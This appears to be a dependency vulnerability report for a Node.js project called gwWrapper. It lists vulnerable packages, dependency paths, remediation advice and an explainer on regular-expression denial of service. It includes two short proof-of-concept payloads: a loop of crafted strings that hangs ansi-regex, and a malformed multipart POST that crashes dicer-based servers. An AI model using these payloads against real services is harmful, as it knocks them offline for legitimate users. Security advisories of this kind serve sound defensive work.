Find, fix and prevent vulnerabilities in your code.
critical severity
- Vulnerable module: babel-traverse
- Introduced through: super-siren@2.0.2
Detailed paths
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Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › super-siren@2.0.2 › babel-preset-es2015@6.9.0 › babel-plugin-transform-es2015-block-scoping@6.26.0 › babel-traverse@6.26.0
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Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › super-siren@2.0.2 › babel-preset-es2015@6.9.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-traverse@6.26.0
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Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › super-siren@2.0.2 › babel-preset-es2015@6.9.0 › babel-plugin-transform-es2015-parameters@6.24.1 › babel-traverse@6.26.0
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Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › super-siren@2.0.2 › babel-register@6.26.0 › babel-core@6.26.3 › babel-traverse@6.26.0
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Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › super-siren@2.0.2 › babel-preset-es2015@6.9.0 › babel-plugin-transform-es2015-block-scoping@6.26.0 › babel-template@6.26.0 › babel-traverse@6.26.0
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Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › super-siren@2.0.2 › babel-preset-es2015@6.9.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
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Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › super-siren@2.0.2 › babel-preset-es2015@6.9.0 › babel-plugin-transform-es2015-computed-properties@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
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Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › super-siren@2.0.2 › babel-preset-es2015@6.9.0 › babel-plugin-transform-es2015-modules-commonjs@6.26.2 › babel-template@6.26.0 › babel-traverse@6.26.0
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Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › super-siren@2.0.2 › babel-preset-es2015@6.9.0 › babel-plugin-transform-es2015-parameters@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
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Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › super-siren@2.0.2 › babel-register@6.26.0 › babel-core@6.26.3 › babel-template@6.26.0 › babel-traverse@6.26.0
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Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › super-siren@2.0.2 › babel-preset-es2015@6.9.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-function-name@6.24.1 › babel-traverse@6.26.0
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Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › super-siren@2.0.2 › babel-preset-es2015@6.9.0 › babel-plugin-transform-es2015-function-name@6.24.1 › babel-helper-function-name@6.24.1 › babel-traverse@6.26.0
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Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › super-siren@2.0.2 › babel-preset-es2015@6.9.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-traverse@6.26.0
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Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › super-siren@2.0.2 › babel-preset-es2015@6.9.0 › babel-plugin-transform-es2015-object-super@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-traverse@6.26.0
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Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › super-siren@2.0.2 › babel-preset-es2015@6.9.0 › babel-plugin-transform-es2015-parameters@6.24.1 › babel-helper-call-delegate@6.24.1 › babel-traverse@6.26.0
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Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › super-siren@2.0.2 › babel-preset-es2015@6.9.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-function-name@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
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Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › super-siren@2.0.2 › babel-preset-es2015@6.9.0 › babel-plugin-transform-es2015-function-name@6.24.1 › babel-helper-function-name@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
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Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › super-siren@2.0.2 › babel-preset-es2015@6.9.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
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Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › super-siren@2.0.2 › babel-preset-es2015@6.9.0 › babel-plugin-transform-es2015-object-super@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
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Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › super-siren@2.0.2 › babel-register@6.26.0 › babel-core@6.26.3 › babel-helpers@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
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Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › super-siren@2.0.2 › babel-preset-es2015@6.9.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-define-map@6.26.0 › babel-helper-function-name@6.24.1 › babel-traverse@6.26.0
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Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › super-siren@2.0.2 › babel-preset-es2015@6.9.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-define-map@6.26.0 › babel-helper-function-name@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
Overview
Affected versions of this package are vulnerable to Incomplete List of Disallowed Inputs when using plugins that rely on the path.evaluate()
or path.evaluateTruthy()
internal Babel methods.
Note:
This is only exploitable if the attacker uses known affected plugins such as @babel/plugin-transform-runtime
, @babel/preset-env
when using its useBuiltIns
option, and any "polyfill provider" plugin that depends on @babel/helper-define-polyfill-provider
. No other plugins under the @babel/
namespace are impacted, but third-party plugins might be.
Users that only compile trusted code are not impacted.
Workaround
Users who are unable to upgrade the library can upgrade the affected plugins instead, to avoid triggering the vulnerable code path in affected @babel/traverse
.
Remediation
There is no fixed version for babel-traverse
.
References
high severity
- Vulnerable module: ansi-regex
- Introduced through: pm2@2.10.4 and super-siren@2.0.2
Detailed paths
-
Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › pm2@2.10.4 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
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Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › pm2@2.10.4 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
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Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › pm2@2.10.4 › cli-table-redemption@1.0.1 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
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Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › pm2@2.10.4 › cli-table-redemption@1.0.1 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
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Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › super-siren@2.0.2 › babel-register@6.26.0 › babel-core@6.26.3 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
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Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › super-siren@2.0.2 › babel-register@6.26.0 › babel-core@6.26.3 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
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Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › super-siren@2.0.2 › babel-preset-es2015@6.9.0 › babel-plugin-transform-es2015-block-scoping@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › super-siren@2.0.2 › babel-preset-es2015@6.9.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › super-siren@2.0.2 › babel-preset-es2015@6.9.0 › babel-plugin-transform-es2015-parameters@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › super-siren@2.0.2 › babel-register@6.26.0 › babel-core@6.26.3 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › super-siren@2.0.2 › babel-preset-es2015@6.9.0 › babel-plugin-transform-es2015-block-scoping@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › super-siren@2.0.2 › babel-preset-es2015@6.9.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › super-siren@2.0.2 › babel-preset-es2015@6.9.0 › babel-plugin-transform-es2015-parameters@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › super-siren@2.0.2 › babel-register@6.26.0 › babel-core@6.26.3 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › super-siren@2.0.2 › babel-preset-es2015@6.9.0 › babel-plugin-transform-es2015-block-scoping@6.26.0 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › super-siren@2.0.2 › babel-preset-es2015@6.9.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
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Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › super-siren@2.0.2 › babel-preset-es2015@6.9.0 › babel-plugin-transform-es2015-computed-properties@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
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Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › super-siren@2.0.2 › babel-preset-es2015@6.9.0 › babel-plugin-transform-es2015-modules-commonjs@6.26.2 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › super-siren@2.0.2 › babel-preset-es2015@6.9.0 › babel-plugin-transform-es2015-parameters@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
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Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › super-siren@2.0.2 › babel-register@6.26.0 › babel-core@6.26.3 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
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Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › super-siren@2.0.2 › babel-preset-es2015@6.9.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-function-name@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
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Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › super-siren@2.0.2 › babel-preset-es2015@6.9.0 › babel-plugin-transform-es2015-function-name@6.24.1 › babel-helper-function-name@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
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Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › super-siren@2.0.2 › babel-preset-es2015@6.9.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
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Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › super-siren@2.0.2 › babel-preset-es2015@6.9.0 › babel-plugin-transform-es2015-object-super@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
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Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › super-siren@2.0.2 › babel-preset-es2015@6.9.0 › babel-plugin-transform-es2015-parameters@6.24.1 › babel-helper-call-delegate@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
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Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › super-siren@2.0.2 › babel-preset-es2015@6.9.0 › babel-plugin-transform-es2015-block-scoping@6.26.0 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
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Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › super-siren@2.0.2 › babel-preset-es2015@6.9.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › super-siren@2.0.2 › babel-preset-es2015@6.9.0 › babel-plugin-transform-es2015-computed-properties@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › super-siren@2.0.2 › babel-preset-es2015@6.9.0 › babel-plugin-transform-es2015-modules-commonjs@6.26.2 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
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Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › super-siren@2.0.2 › babel-preset-es2015@6.9.0 › babel-plugin-transform-es2015-parameters@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
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Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › super-siren@2.0.2 › babel-register@6.26.0 › babel-core@6.26.3 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
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Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › super-siren@2.0.2 › babel-preset-es2015@6.9.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-function-name@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › super-siren@2.0.2 › babel-preset-es2015@6.9.0 › babel-plugin-transform-es2015-function-name@6.24.1 › babel-helper-function-name@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › super-siren@2.0.2 › babel-preset-es2015@6.9.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › super-siren@2.0.2 › babel-preset-es2015@6.9.0 › babel-plugin-transform-es2015-object-super@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › super-siren@2.0.2 › babel-preset-es2015@6.9.0 › babel-plugin-transform-es2015-parameters@6.24.1 › babel-helper-call-delegate@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › super-siren@2.0.2 › babel-preset-es2015@6.9.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-function-name@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › super-siren@2.0.2 › babel-preset-es2015@6.9.0 › babel-plugin-transform-es2015-function-name@6.24.1 › babel-helper-function-name@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › super-siren@2.0.2 › babel-preset-es2015@6.9.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › super-siren@2.0.2 › babel-preset-es2015@6.9.0 › babel-plugin-transform-es2015-object-super@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › super-siren@2.0.2 › babel-register@6.26.0 › babel-core@6.26.3 › babel-helpers@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › super-siren@2.0.2 › babel-preset-es2015@6.9.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-define-map@6.26.0 › babel-helper-function-name@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › super-siren@2.0.2 › babel-preset-es2015@6.9.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-function-name@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › super-siren@2.0.2 › babel-preset-es2015@6.9.0 › babel-plugin-transform-es2015-function-name@6.24.1 › babel-helper-function-name@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › super-siren@2.0.2 › babel-preset-es2015@6.9.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › super-siren@2.0.2 › babel-preset-es2015@6.9.0 › babel-plugin-transform-es2015-object-super@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › super-siren@2.0.2 › babel-register@6.26.0 › babel-core@6.26.3 › babel-helpers@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › super-siren@2.0.2 › babel-preset-es2015@6.9.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-define-map@6.26.0 › babel-helper-function-name@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › super-siren@2.0.2 › babel-preset-es2015@6.9.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-define-map@6.26.0 › babel-helper-function-name@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › super-siren@2.0.2 › babel-preset-es2015@6.9.0 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-define-map@6.26.0 › babel-helper-function-name@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
Overview
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to the sub-patterns [[\\]()#;?]*
and (?:;[-a-zA-Z\\d\\/#&.:=?%@~_]*)*
.
PoC
import ansiRegex from 'ansi-regex';
for(var i = 1; i <= 50000; i++) {
var time = Date.now();
var attack_str = "\u001B["+";".repeat(i*10000);
ansiRegex().test(attack_str)
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
}
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade ansi-regex
to version 3.0.1, 4.1.1, 5.0.1, 6.0.1 or higher.
References
high severity
- Vulnerable module: dicer
- Introduced through: swagger-tools@0.10.4
Detailed paths
-
Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › swagger-tools@0.10.4 › multer@1.4.4 › busboy@0.2.14 › dicer@0.2.5
Overview
Affected versions of this package are vulnerable to Denial of Service (DoS). A malicious attacker can send a modified form to server, and crash the nodejs service. An attacker could sent the payload again and again so that the service continuously crashes.
PoC:
fetch('form-image', {
method: 'POST',
headers: {
['content-type']: 'multipart/form-data; boundary=----WebKitFormBoundaryoo6vortfDzBsDiro',
['content-length']: '145',
host: '127.0.0.1:8000',
connection: 'keep-alive',
},
body: '------WebKitFormBoundaryoo6vortfDzBsDiro\r\n Content-Disposition: form-data; name="bildbeschreibung"\r\n\r\n\r\n------WebKitFormBoundaryoo6vortfDzBsDiro--'
});
Remediation
There is no fixed version for dicer
.
References
high severity
- Vulnerable module: engine.io
- Introduced through: socket.io@2.5.0
Detailed paths
-
Introduced through: wrapper@gcornetta/gwWrapper#49f75ee82e3dfdcddd410563c47a07e966f6bd05 › socket.io@2.5.0 › engine.io@3.6.1Remediation: Upgrade to socket.io@3.0.0.
Overview
engine.io is a realtime engine behind Socket.IO. It provides the foundation of a bidirectional connection between client and server
Affected versions of this package are vulnerable to Denial of Service (DoS) via a POST request to the long polling transport.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
